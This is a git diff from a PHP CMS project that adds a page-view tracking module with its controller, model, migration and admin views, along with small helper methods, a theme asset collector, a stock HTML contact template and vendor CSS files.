if (!isset($added[$name]) &&
(empty($script['after']) || isset($added[$script['after']]))) {
$sorted[] = $script;
$added[$name] = true;
$found = true;
}
}
if (!$found) {
throw new RuntimeException('Обнаружена циклическая зависимость в скриптах');
}
}
return $sorted;
}
}

15
kernel/Theme.php Normal file
View File

@@ -0,0 +1,15 @@
<?php
namespace kernel;
class Theme
{
static AssetsCollector $assetsCollector;
public function __construct()
{
}
}

View File

@@ -5,8 +5,12 @@
* @var string $title
* @var \kernel\CgView $view
*/
use kernel\Theme;
\Josantonius\Session\Facades\Session::start();
$assets = new \kernel\admin_themes\default\DefaultAdminThemeAssets($resources)
//$assets = new \kernel\admin_themes\default\DefaultAdminThemeAssets($resources);
Theme::$assetsCollector->registerAsset(new \kernel\admin_themes\default\DefaultAdminThemeAssets($resources));
?>
<!doctype html>
<html lang="en">
@@ -18,8 +22,8 @@ $assets = new \kernel\admin_themes\default\DefaultAdminThemeAssets($resources)
<link href="https://fonts.googleapis.com/css?family=Poppins:300,400,500,600,700,800,900" rel="stylesheet">
<?php $assets->getCSSAsSTR(); ?>
<?php $assets->getJSAsStr(body: false); ?>
<?php Theme::$assetsCollector->renderCss(); ?>
<?php Theme::$assetsCollector->renderJs(body: false); ?>
</head>
<body>
@@ -92,6 +96,6 @@ $assets = new \kernel\admin_themes\default\DefaultAdminThemeAssets($resources)
</div>
</div>
<?php $assets->getJSAsStr(); ?>
<?php Theme::$assetsCollector->renderJs(); ?>
</body>
</html>

View File

@@ -0,0 +1,31 @@
<?php
namespace kernel\app_modules\view;
use kernel\helpers\Debug;
use kernel\Module;
use kernel\modules\menu\service\MenuService;
class ViewModule extends Module
{
public MenuService $menuService;
public function __construct()
{
$this->menuService = new MenuService();
}
public function init(): void
{
$this->menuService->createItem([
"label" => "Просмотры",
"url" => "/admin/view",
"slug" => "view",
]);
}
public function deactivate(): void
{
$this->menuService->removeItemBySlug("view");
}
}

View File

@@ -0,0 +1,98 @@
<?php
namespace kernel\app_modules\view\controllers;
use Exception;
use JetBrains\PhpStorm\NoReturn;
use kernel\AdminController;
use kernel\app_modules\view\models\forms\CreateViewForm;
use kernel\app_modules\view\models\View;
use kernel\app_modules\view\services\ViewService;
class ViewController extends AdminController
{
private ViewService $viewService;
protected function init(): void
{
parent::init();
$this->cgView->viewPath = KERNEL_APP_MODULES_DIR . "/view/views/";
$this->viewService = new ViewService();
}
public function actionCreate(): void
{
$this->cgView->render("form.php");
}
#[NoReturn] public function actionAdd(): void
{
$viewForm = new CreateViewForm();
$viewForm->load($_REQUEST);
if ($viewForm->validate()){
$view = $this->viewService->create($viewForm);
if ($view){
$this->redirect("/admin/view/view/" . $view->id);
}
}
$this->redirect("/admin/view/create");
}
public function actionIndex($page_number = 1): void
{
$this->cgView->render("index.php", ['page_number' => $page_number]);
}
/**
* @throws Exception
*/
public function actionView($id): void
{
$view = View::find($id);
if (!$view){
throw new Exception(message: "The view not found");
}
$this->cgView->render("view.php", ['view' => $view]);
}
/**
* @throws Exception
*/
public function actionUpdate($id): void
{
$model = View::find($id);
if (!$model){
throw new Exception(message: "The view not found");
}
$this->cgView->render("form.php", ['model' => $model]);
}
/**
* @throws Exception
*/
public function actionEdit($id): void
{
$view = View::find($id);
if (!$view){
throw new Exception(message: "The view not found");
}
$viewForm = new CreateViewForm();
$viewService = new ViewService();
$viewForm->load($_REQUEST);
if ($viewForm->validate()) {
$view = $viewService->update($viewForm, $view);
if ($view) {
$this->redirect("/admin/view/view/" . $view->id);
}
}
$this->redirect("/admin/view/update/" . $id);
}
#[NoReturn] public function actionDelete($id): void
{
$view = View::find($id)->first();
$view->delete();
$this->redirect("/admin/view/");
}
}

View File

@@ -0,0 +1,23 @@
<?php
namespace kernel\app_modules\view\interfaces;
interface Viewable
{
/**
* Отношение просмотров
*/
public function views();
/**
* Получить количество просмотров
*/
public function getViewsCountAttribute();
/**
* Получить уникальное количество просмотров
*/
public function getUniqueViewsCountAttribute();
}

View File

@@ -0,0 +1,31 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
/**
* Run the migrations.
*/
public function up(): void
{
\kernel\App::$db->schema->create('view', function (Blueprint $table) {
$table->id();
$table->unsignedBigInteger('user_id')->nullable(); // кто просмотрел
$table->morphs('viewable'); // полиморфное отношение (viewable_id, viewable_type)
$table->string('ip_address')->nullable(); // IP адрес
$table->string('user_agent')->nullable(); // User agent
$table->timestamps();
});
}
/**
* Reverse the migrations.
*/
public function down(): void
{
\kernel\App::$db->schema->dropIfExists('view');
}
};

View File

@@ -0,0 +1,93 @@
<?php
namespace kernel\app_modules\view\models;
use Illuminate\Database\Eloquent\Model;
use kernel\app_modules\view\interfaces\Viewable;
use kernel\modules\user\models\User;
// Добавить @property
/**
* @property int $id
* @property int $status
*/
class View extends Model
{
const DISABLE_STATUS = 0;
const ACTIVE_STATUS = 1;
protected $table = 'view';
protected $fillable = [
'user_id',
'ip_address',
'user_agent',
];
/**
* Получить родительскую модель (пост, комментарий, файл и т.д.)
*/
public function viewable(): \Illuminate\Database\Eloquent\Relations\MorphTo
{
return $this->morphTo();
}
/**
* Пользователь, который просмотрел
*/
public function user(): \Illuminate\Database\Eloquent\Relations\BelongsTo
{
return $this->belongsTo(User::class);
}
/**
* Увеличить счетчик просмотров для модели
*/
public static function track(Viewable $viewable)
{
// Проверяем, не просматривал ли уже пользователь этот элемент
//$existingView = static::forViewable($viewable)->first();
// if (!$existingView) {
// return static::create([
// 'user_id' => null,
// 'viewable_id' => $viewable->id,
// 'viewable_type' => get_class($viewable),
// ]);
// }
return static::create([
'user_id' => null,
'viewable_id' => $viewable->id,
'viewable_type' => get_class($viewable),
]);
//return $existingView;
}
/**
* Scope для поиска просмотров определенной модели
*/
public function scopeForViewable($query, Viewable $viewable)
{
return $query->where('viewable_id', $viewable->id)
->where('viewable_type', get_class($viewable))
->when(auth()->check(), function ($q) {
$q->where('user_id', auth()->id());
}, function ($q) {
$q->where('ip_address', request()->ip());
});
}
/**
* @return string[]
*/
public static function getStatus(): array
{
return [
self::DISABLE_STATUS => "Не активный",
self::ACTIVE_STATUS => "Активный",
];
}
}

View File

@@ -0,0 +1,25 @@
<?php
namespace kernel\app_modules\view\models\forms;
use kernel\FormModel;
class CreateViewForm extends FormModel
{
public function rules(): array
{
// Заполнить массив правил
// Пример:
// return [
// 'label' => 'required|min-str-len:5|max-str-len:30',
// 'entity' => 'required',
// 'slug' => '',
// 'status' => ''
// ];
return [
];
}
}

View File

@@ -0,0 +1,20 @@
<?php
use kernel\App;
use kernel\CgRouteCollector;
use Phroute\Phroute\RouteCollector;
App::$collector->group(["prefix" => "admin"], function (CgRouteCollector $router) {
App::$collector->group(["before" => "auth"], function (RouteCollector $router) {
App::$collector->group(["prefix" => "view"], function (CGRouteCollector $router) {
App::$collector->get('/', [\app\modules\view\controllers\ViewController::class, 'actionIndex']);
App::$collector->get('/page/{page_number}', [\app\modules\view\controllers\ViewController::class, 'actionIndex']);
App::$collector->get('/create', [\app\modules\view\controllers\ViewController::class, 'actionCreate']);
App::$collector->post("/", [\app\modules\view\controllers\ViewController::class, 'actionAdd']);
App::$collector->get('/view/{id}', [\app\modules\view\controllers\ViewController::class, 'actionView']);
App::$collector->any('/update/{id}', [\app\modules\view\controllers\ViewController::class, 'actionUpdate']);
App::$collector->any("/edit/{id}", [\app\modules\view\controllers\ViewController::class, 'actionEdit']);
App::$collector->get('/delete/{id}', [\app\modules\view\controllers\ViewController::class, 'actionDelete']);
});
});
});

View File

@@ -0,0 +1,39 @@
<?php
namespace kernel\app_modules\view\services;
use kernel\helpers\Debug;
use kernel\app_modules\view\models\View;
use kernel\FormModel;
class ViewService
{
public function create(FormModel $form_model): false|View
{
$model = new View();
// Пример заполнения:
// $model->content = $form_model->getItem('content');
// $model->user_id = $form_model->getItem('user_id');
// $model->title = $form_model->getItem('title');
// $model->slug = Slug::createSlug($form_model->getItem('title'), View::class); // Генерация уникального slug
if ($model->save()){
return $model;
}
return false;
}
public function update(FormModel $form_model, View $view): false|View
{
// Пример обновления:
// $view->content = $form_model->getItem('content');
// $view->user_id = $form_model->getItem('user_id');
if ($view->save()){
return $view;
}
return false;
}
}

View File

@@ -0,0 +1,55 @@
<?php
/**
* @var View $model
*/
use kernel\app_modules\view\models\View;
$form = new \itguild\forms\ActiveForm();
$form->beginForm(isset($model) ? "/admin/view/edit/" . $model->id : "/admin/view", 'multipart/form-data');
// Пример формы:
/*
$form->field(\itguild\forms\inputs\TextInput::class, 'title', [
'class' => "form-control",
'placeholder' => 'Заголовок поста',
'value' => $model->title ?? ''
])
->setLabel("Заголовок")
->render();
$form->field(class: \itguild\forms\inputs\Select::class, name: "user_id", params: [
'class' => "form-control",
'value' => $model->user_id ?? ''
])
->setLabel("Пользователи")
->setOptions(\kernel\modules\user\service\UserService::createUsernameArr())
->render();
*/
?>
<div class="row">
<div class="col-sm-2">
<?php
$form->field(\itguild\forms\inputs\Button::class, name: "btn-submit", params: [
'class' => "btn btn-primary ",
'value' => 'Отправить',
'typeInput' => 'submit'
])
->render();
?>
</div>
<div class="col-sm-2">
<?php
$form->field(\itguild\forms\inputs\Button::class, name: "btn-reset", params: [
'class' => "btn btn-warning",
'value' => 'Сбросить',
'typeInput' => 'reset'
])
->render();
?>
</div>
</div>
<?php
$form->endForm();

View File

@@ -0,0 +1,78 @@
<?php
/**
* @var \Illuminate\Database\Eloquent\Collection $view
* @var int $page_number
* @var \kernel\CgView $view
*/
use kernel\app_modules\view\models\View;
use Itguild\EloquentTable\EloquentDataProvider;
use Itguild\EloquentTable\ListEloquentTable;
use kernel\widgets\IconBtn\IconBtnCreateWidget;
use kernel\widgets\IconBtn\IconBtnDeleteWidget;
use kernel\widgets\IconBtn\IconBtnEditWidget;
use kernel\widgets\IconBtn\IconBtnViewWidget;
$view->setTitle("Список view");
$view->setMeta([
'description' => 'Список view системы'
]);
//Для использования таблицы с моделью, необходимо создать таблицу в базе данных
//$table = new ListEloquentTable(new EloquentDataProvider(View::class, [
// 'currentPage' => $page_number,
// 'perPage' => 8,
// 'params' => ["class" => "table table-bordered", "border" => "2"],
// 'baseUrl' => "/admin/view"
//]));
$table = new \Itguild\Tables\ListJsonTable(json_encode(
[
'meta' => [
'total' => 0,
'totalWithFilters' => 0,
'columns' => [
'title',
'slug',
'status',
],
'perPage' => 5,
'currentPage' => 1,
'baseUrl' => '/admin/some',
'params' => [
'class' => 'table table-bordered',
'border' => 2
]
],
'filters' => [],
'data' => [],
]
));
// Пример фильтра
$table->columns([
'title' => [
'filter' => [
'class' => \Itguild\Tables\Filter\InputTextFilter::class,
'value' => $get['title'] ?? ''
]
],
]);
$table->beforePrint(function () {
return IconBtnCreateWidget::create(['url' => '/admin/view/create'])->run();
});
$table->addAction(function($row) {
return IconBtnViewWidget::create(['url' => '/admin/view/view/' . $row['id']])->run();
});
$table->addAction(function($row) {
return IconBtnEditWidget::create(['url' => '/admin/view/update/' . $row['id']])->run();
});
$table->addAction(function($row) {
return IconBtnDeleteWidget::create(['url' => '/admin/view/delete/' . $row['id']])->run();
});
$table->create();
$table->render();

View File

@@ -0,0 +1,25 @@
<?php
/**
* @var \Illuminate\Database\Eloquent\Collection $view
*/
use Itguild\EloquentTable\ViewEloquentTable;
use Itguild\EloquentTable\ViewJsonTableEloquentModel;
use kernel\widgets\IconBtn\IconBtnDeleteWidget;
use kernel\widgets\IconBtn\IconBtnEditWidget;
use kernel\widgets\IconBtn\IconBtnListWidget;
$table = new ViewEloquentTable(new ViewJsonTableEloquentModel($view, [
'params' => ["class" => "table table-bordered", "border" => "2"],
'baseUrl' => "/admin/view",
]));
$table->beforePrint(function () use ($view) {
$btn = IconBtnListWidget::create(['url' => '/admin/view'])->run();
$btn .= IconBtnEditWidget::create(['url' => '/admin/view/update/' . $view->id])->run();
$btn .= IconBtnDeleteWidget::create(['url' => '/admin/view/delete/' . $view->id])->run();
return $btn;
});
$table->create();
$table->render();

View File

@@ -23,6 +23,12 @@ class Html
return "<a href='$link' $paramsStr>";
}
public static function link(string $title, string $link, array $params = []): string
{
$paramsStr = self::createParams($params);
return "<a href='$link' $paramsStr>$title</a>";
}
/**
* @param array $data
* @return string

View File

@@ -3,6 +3,7 @@
namespace kernel\modules\option\service;
use kernel\FormModel;
use kernel\helpers\Debug;
use kernel\modules\option\models\Option;
class OptionService
@@ -49,6 +50,26 @@ class OptionService
return false;
}
public static function createOrUpdate(string $key, string $value, string $label = ''): false|Option
{
/** @var Option $option */
$option = self::getItemObject($key);
if (!$option) {
$option = new Option();
$option->key = $key;
}
$option->value = $value;
if (!empty($label)){
$option->label = $label;
}
if ($option->save()) {
return $option;
}
return false;
}
/**
* @param $key
* @return false|array|string
@@ -63,6 +84,20 @@ class OptionService
return false;
}
/**
* @param $key
* @return false|array|string|Option
*/
public static function getItemObject($key): false|array|string|Option
{
$item = Option::where("key", $key)->first();
if ($item){
return $item;
}
return false;
}
public static function removeOptionByKey(string $key): bool
{
$option = Option::where("key", $key)->first();

View File

@@ -33,4 +33,9 @@ class PostService
return false;
}
public static function getListArr()
{
return Post::pluck('title', 'id')->toArray();
}
}

View File

@@ -0,0 +1,185 @@
<!DOCTYPE html>
<html>
<head>
<!-- basic -->
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- mobile metas -->
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="viewport" content="initial-scale=1, maximum-scale=1">
<!-- site metas -->
<title>Contact</title>
<meta name="keywords" content="">
<meta name="description" content="">
<meta name="author" content="">
<!-- bootstrap css -->
<link rel="stylesheet" type="text/css" href="css/bootstrap.min.css">
<!-- style css -->
<link rel="stylesheet" type="text/css" href="css/style.css">
<!-- Responsive-->
<link rel="stylesheet" href="css/responsive.css">
<!-- fevicon -->
<link rel="icon" href="images/fevicon.png" type="image/gif" />
<!-- fonts -->
<link href="https://fonts.googleapis.com/css?family=Poppins:400,700|Sen:400,700,800&display=swap" rel="stylesheet">
<!-- Scrollbar Custom CSS -->
<link rel="stylesheet" href="css/jquery.mCustomScrollbar.min.css">
<!-- Tweaks for older IEs-->
<link rel="stylesheet" href="https://netdna.bootstrapcdn.com/font-awesome/4.0.3/css/font-awesome.css">
</head>
<body>
<div class="header_section">
<div class="container">
<nav class="navbar navbar-expand-lg navbar-light bg-light">
<a class="navbar-brand"href="index.html"><img src="images/logo.png"></a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<ul class="navbar-nav ml-auto">
<li class="nav-item">
<a class="nav-link" href="index.html">Home</a>
</li>
<li class="nav-item">
<a class="nav-link" href="about.html">About</a>
</li>
<li class="nav-item">
<a class="nav-link" href="hosting.html">Hosting</a>
</li>
<li class="nav-item">
<a class="nav-link" href="testimonial.html">Testimonial</a>
</li>
<li class="nav-item">
<a class="nav-link" href="domain.html">Domain</a>
</li>
<li class="nav-item">
<a class="nav-link" href="services.html">Services</a>
</li>
<li class="nav-item active">
<a class="nav-link" href="contact.html">Contact Us</a>
</li>
</ul>
<form class="form-inline my-2 my-lg-0">
</form>
</div>
</nav>
<div class="custom_bg">
<div class="custom_menu">
<ul>
<li><a href="index.html">Home</a></li>
<li><a href="#">About</a></li>
<li><a href="hosting.html">Hosting</a></li>
<li><a href="testimonial.html">Testimonial</a></li>
<li><a href="domain.html">Domain</a></li>
<li><a href="services.html">Services</a></li>
<li class="active"><a href="contact.html">Contact Us</a></li>
</ul>
</div>
<form class="form-inline my-2 my-lg-0">
<div class="search_btn">
<li><a href="#"><i class="fa fa-search" aria-hidden="true"></i></a></li>
<li><a href="#"><i class="fa fa-shopping-cart" aria-hidden="true"></i></a></li>
</div>
</form>
</div>
</div>
</div>
<!-- header section end -->
<!-- contact section start -->
<div class="contact_section layout_padding">
<div class="container">
<div class="row">
<div class="col-sm-12">
<h1 class="contact_taital">Contact Us</h1>
</div>
</div>
<div class="contact_section_2">
<div class="row">
<div class="col-md-12">
<div class="mail_section_1">
<input type="text" class="mail_text" placeholder="Your Name" name="Your Name">
<input type="text" class="mail_text" placeholder="Your Email" name="Your Email">
<input type="text" class="mail_text" placeholder="Your Phone" name="Your Phone">
<textarea class="massage-bt" placeholder="Your Massage" rows="5" id="comment" name="Your Massage"></textarea>
<div class="send_bt"><a href="#">Send Now</a></div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- contact section end -->
<!-- footer section start -->
<div class="footer_section layout_padding">
<div class="container">
<div class="row">
<div class="col-sm-4">
<h3 class="footer_text">Useful links</h3>
<div class="footer_menu">
<ul>
<li class="active"><a href="index.html"><span class="angle_icon active"><i class="fa fa-arrow-right" aria-hidden="true"></i></span> Home</a></li>
<li><a href="#"><span class="angle_icon"><i class="fa fa-arrow-right" aria-hidden="true"></i></span> About</a></li>
<li><a href="services.html"><span class="angle_icon"><i class="fa fa-arrow-right" aria-hidden="true"></i></span> Services</a></li>
<li><a href="domain.html"><span class="angle_icon"><i class="fa fa-arrow-right" aria-hidden="true"></i></span> Domain</a></li>
<li><a href="testimonial.html"><span class="angle_icon"><i class="fa fa-arrow-right" aria-hidden="true"></i></span> Testimonial</a></li>
<li><a href="contact.html"><span class="angle_icon"><i class="fa fa-arrow-right" aria-hidden="true"></i></span> Contact Us</a></li>
</ul>
</div>
</div>
<div class="col-sm-4">
<h3 class="footer_text">Address</h3>
<div class="location_text">
<ul>
<li>
<a href="#">
<span class="padding_left_10"><i class="fa fa-map-marker" aria-hidden="true"></i></span>It is a long established fact that a<br> reader will be distracted</a>
</li>
<li>
<a href="#">
<span class="padding_left_10"><i class="fa fa-phone" aria-hidden="true"></i></span>(+71) 1234567890<br>(+71) 1234567890
</a>
</li>
<li>
<a href="#">
<span class="padding_left_10"><i class="fa fa-envelope" aria-hidden="true"></i></span>demo@gmail.com
</a>
</li>
</ul>
</div>
</div>
<div class="col-sm-4">
<div class="footer_main">
<h3 class="footer_text">Find Us</h3>
<p class="dummy_text">more-or-less normal distribution </p>
<div class="social_icon">
<ul>
<li><a href="#"><i class="fa fa-facebook" aria-hidden="true"></i></a></li>
<li><a href="#"><i class="fa fa-twitter" aria-hidden="true"></i></a></li>
<li><a href="#"><i class="fa fa-instagram" aria-hidden="true"></i></a></li>
</ul>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- footer section end -->
<!-- copyright section start -->
<div class="copyright_section">
<div class="container">
<p class="copyright_text">2020 All Rights Reserved. Design by <a href="https://html.design">Free Html Templates</a>. Distributed by <a href="https://themewagon.com" target="_blank">ThemeWagon</a></p>
</div>
</div>
<!-- copyright section end -->
<!-- Javascript files-->
<script src="js/jquery.min.js"></script>
<script src="js/popper.min.js"></script>
<script src="js/bootstrap.bundle.min.js"></script>
<script src="js/jquery-3.0.0.min.js"></script>
<script src="js/plugin.js"></script>
<!-- sidebar -->
<script src="js/jquery.mCustomScrollbar.concat.min.js"></script>
<script src="js/custom.js"></script>
</body>
</html>

Binary file not shown.

File diff suppressed because one or more lines are too long

File diff suppressed because it is too large Load Diff

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,330 @@
/*!
* Bootstrap Reboot v4.1.0 (https://getbootstrap.com/)
* Copyright 2011-2018 The Bootstrap Authors
* Copyright 2011-2018 Twitter, Inc.
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
* Forked from Normalize.css, licensed MIT (https://github.com/necolas/normalize.css/blob/master/LICENSE.md)
*/
*,
*::before,
*::after {
box-sizing: border-box;
}
html {
font-family: sans-serif;
line-height: 1.15;
-webkit-text-size-adjust: 100%;
-ms-text-size-adjust: 100%;
-ms-overflow-style: scrollbar;
-webkit-tap-highlight-color: transparent;
}
@-ms-viewport {
width: device-width;
}
article, aside, dialog, figcaption, figure, footer, header, hgroup, main, nav, section {
display: block;
}
body {
margin: 0;
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";
font-size: 1rem;
font-weight: 400;
line-height: 1.5;
color: #212529;
text-align: left;
background-color: #fff;
}
[tabindex="-1"]:focus {
outline: 0 !important;
}
hr {
box-sizing: content-box;
height: 0;
overflow: visible;
}
h1, h2, h3, h4, h5, h6 {
margin-top: 0;
margin-bottom: 0.5rem;
}
p {
margin-top: 0;
margin-bottom: 1rem;
}
abbr[title],
abbr[data-original-title] {
text-decoration: underline;
-webkit-text-decoration: underline dotted;
text-decoration: underline dotted;
cursor: help;
border-bottom: 0;
}
address {
margin-bottom: 1rem;
font-style: normal;
line-height: inherit;
}
ol,
ul,
dl {
margin-top: 0;
margin-bottom: 1rem;
}
ol ol,
ul ul,
ol ul,
ul ol {
margin-bottom: 0;
}
dt {
font-weight: 700;
}
dd {
margin-bottom: .5rem;
margin-left: 0;
}
blockquote {
margin: 0 0 1rem;
}
dfn {
font-style: italic;
}
b,
strong {
font-weight: bolder;
}
small {
font-size: 80%;
}
sub,
sup {
position: relative;
font-size: 75%;
line-height: 0;
vertical-align: baseline;
}
sub {
bottom: -.25em;
}
sup {
top: -.5em;
}
a {
color: #007bff;
text-decoration: none;
background-color: transparent;
-webkit-text-decoration-skip: objects;
}
a:hover {
color: #0056b3;
text-decoration: underline;
}
a:not([href]):not([tabindex]) {
color: inherit;
text-decoration: none;
}
a:not([href]):not([tabindex]):hover, a:not([href]):not([tabindex]):focus {
color: inherit;
text-decoration: none;
}
a:not([href]):not([tabindex]):focus {
outline: 0;
}
pre,
code,
kbd,
samp {
font-family: monospace, monospace;
font-size: 1em;
}
pre {
margin-top: 0;
margin-bottom: 1rem;
overflow: auto;
-ms-overflow-style: scrollbar;
}
figure {
margin: 0 0 1rem;
}
img {
vertical-align: middle;
border-style: none;
}
svg:not(:root) {
overflow: hidden;
}
table {
border-collapse: collapse;
}
caption {
padding-top: 0.75rem;
padding-bottom: 0.75rem;
color: #6c757d;
text-align: left;
caption-side: bottom;
}
th {
text-align: inherit;
}
label {
display: inline-block;
margin-bottom: 0.5rem;
}
button {
border-radius: 0;
}
button:focus {
outline: 1px dotted;
outline: 5px auto -webkit-focus-ring-color;
}
input,
button,
select,
optgroup,
textarea {
margin: 0;
font-family: inherit;
font-size: inherit;
line-height: inherit;
}
button,
input {
overflow: visible;
}
button,
select {
text-transform: none;
}
button,
html [type="button"],
[type="reset"],
[type="submit"] {
-webkit-appearance: button;
}
button::-moz-focus-inner,
[type="button"]::-moz-focus-inner,
[type="reset"]::-moz-focus-inner,
[type="submit"]::-moz-focus-inner {
padding: 0;
border-style: none;
}
input[type="radio"],
input[type="checkbox"] {
box-sizing: border-box;
padding: 0;
}
input[type="date"],
input[type="time"],
input[type="datetime-local"],
input[type="month"] {
-webkit-appearance: listbox;
}
textarea {
overflow: auto;
resize: vertical;
}
fieldset {
min-width: 0;
padding: 0;
margin: 0;
border: 0;
}
legend {
display: block;
width: 100%;
max-width: 100%;
padding: 0;
margin-bottom: .5rem;
font-size: 1.5rem;
line-height: inherit;
color: inherit;
white-space: normal;
}
progress {
vertical-align: baseline;
}
[type="number"]::-webkit-inner-spin-button,
[type="number"]::-webkit-outer-spin-button {
height: auto;
}
[type="search"] {
outline-offset: -2px;
-webkit-appearance: none;
}
[type="search"]::-webkit-search-cancel-button,
[type="search"]::-webkit-search-decoration {
-webkit-appearance: none;
}
::-webkit-file-upload-button {
font: inherit;
-webkit-appearance: button;
}
output {
display: inline-block;
}
summary {
display: list-item;
cursor: pointer;
}
template {
display: none;
}
[hidden] {
display: none !important;
}
/*# sourceMappingURL=bootstrap-reboot.css.map */

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,8 @@
/*!
* Bootstrap Reboot v4.1.0 (https://getbootstrap.com/)
* Copyright 2011-2018 The Bootstrap Authors
* Copyright 2011-2018 Twitter, Inc.
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
* Forked from Normalize.css, licensed MIT (https://github.com/necolas/normalize.css/blob/master/LICENSE.md)
*/*,::after,::before{box-sizing:border-box}html{font-family:sans-serif;line-height:1.15;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;-ms-overflow-style:scrollbar;-webkit-tap-highlight-color:transparent}@-ms-viewport{width:device-width}article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}body{margin:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol";font-size:1rem;font-weight:400;line-height:1.5;color:#212529;text-align:left;background-color:#fff}[tabindex="-1"]:focus{outline:0!important}hr{box-sizing:content-box;height:0;overflow:visible}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:.5rem}p{margin-top:0;margin-bottom:1rem}abbr[data-original-title],abbr[title]{text-decoration:underline;-webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;border-bottom:0}address{margin-bottom:1rem;font-style:normal;line-height:inherit}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}dfn{font-style:italic}b,strong{font-weight:bolder}small{font-size:80%}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}a{color:#007bff;text-decoration:none;background-color:transparent;-webkit-text-decoration-skip:objects}a:hover{color:#0056b3;text-decoration:underline}a:not([href]):not([tabindex]){color:inherit;text-decoration:none}a:not([href]):not([tabindex]):focus,a:not([href]):not([tabindex]):hover{color:inherit;text-decoration:none}a:not([href]):not([tabindex]):focus{outline:0}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}pre{margin-top:0;margin-bottom:1rem;overflow:auto;-ms-overflow-style:scrollbar}figure{margin:0 0 1rem}img{vertical-align:middle;border-style:none}svg:not(:root){overflow:hidden}table{border-collapse:collapse}caption{padding-top:.75rem;padding-bottom:.75rem;color:#6c757d;text-align:left;caption-side:bottom}th{text-align:inherit}label{display:inline-block;margin-bottom:.5rem}button{border-radius:0}button:focus{outline:1px dotted;outline:5px auto -webkit-focus-ring-color}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,input{overflow:visible}button,select{text-transform:none}[type=reset],[type=submit],button,html [type=button]{-webkit-appearance:button}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner,button::-moz-focus-inner{padding:0;border-style:none}input[type=checkbox],input[type=radio]{box-sizing:border-box;padding:0}input[type=date],input[type=datetime-local],input[type=month],input[type=time]{-webkit-appearance:listbox}textarea{overflow:auto;resize:vertical}fieldset{min-width:0;padding:0;margin:0;border:0}legend{display:block;width:100%;max-width:100%;padding:0;margin-bottom:.5rem;font-size:1.5rem;line-height:inherit;color:inherit;white-space:normal}progress{vertical-align:baseline}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]{outline-offset:-2px;-webkit-appearance:none}[type=search]::-webkit-search-cancel-button,[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{font:inherit;-webkit-appearance:button}output{display:inline-block}summary{display:list-item;cursor:pointer}template{display:none}[hidden]{display:none!important}
/*# sourceMappingURL=bootstrap-reboot.min.css.map */

File diff suppressed because one or more lines are too long

File diff suppressed because it is too large Load Diff

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,614 @@
/*! PhotoSwipe Default UI CSS by Dmitry Semenov | photoswipe.com | MIT license */
/*
Contents:
1. Buttons
2. Share modal and links
3. Index indicator ("1 of X" counter)
4. Caption
5. Loading indicator
6. Additional styles (root element, top bar, idle state, hidden state, etc.)
*/
/* 1. Buttons */
/* <button> css reset */
.pswp__button {
width: 44px;
height: 44px;
position: relative;
background: none;
cursor: pointer;
overflow: visible;
-webkit-appearance: none;
display: block;
border: 0;
padding: 0;
margin: 0;
float: right;
opacity: 0.75;
-webkit-transition: opacity 0.2s;
transition: opacity 0.2s;
-webkit-box-shadow: none;
box-shadow: none;
}
.pswp__button:focus,
.pswp__button:hover {
opacity: 1;
}
.pswp__button:active {
outline: none;
opacity: 0.9;
}
.pswp__button::-moz-focus-inner {
padding: 0;
border: 0;
}
/* pswp__ui--over-close class it added when mouse is over element that should close gallery */
.pswp__ui--over-close .pswp__button--close {
opacity: 1;
}
.pswp__button,
.pswp__button--arrow--left:before,
.pswp__button--arrow--right:before {
background: url(default-skin.png) 0 0 no-repeat;
background-size: 264px 88px;
width: 44px;
height: 44px;
}
@media (-webkit-min-device-pixel-ratio: 1.1),
(-webkit-min-device-pixel-ratio: 1.09375),
(min-resolution: 105dpi),
(min-resolution: 1.1dppx) {
/* Serve SVG sprite if browser supports SVG and resolution is more than 105dpi */
.pswp--svg .pswp__button,
.pswp--svg .pswp__button--arrow--left:before,
.pswp--svg .pswp__button--arrow--right:before {
background-image: url(default-skin.svg);
}
.pswp--svg .pswp__button--arrow--left,
.pswp--svg .pswp__button--arrow--right {
background: none;
}
}
.pswp__button--close {
background-position: 0 -44px;
}
.pswp__button--share {
background-position: -44px -44px;
}
.pswp__button--fs {
display: none;
}
.pswp--supports-fs .pswp__button--fs {
display: block;
}
.pswp--fs .pswp__button--fs {
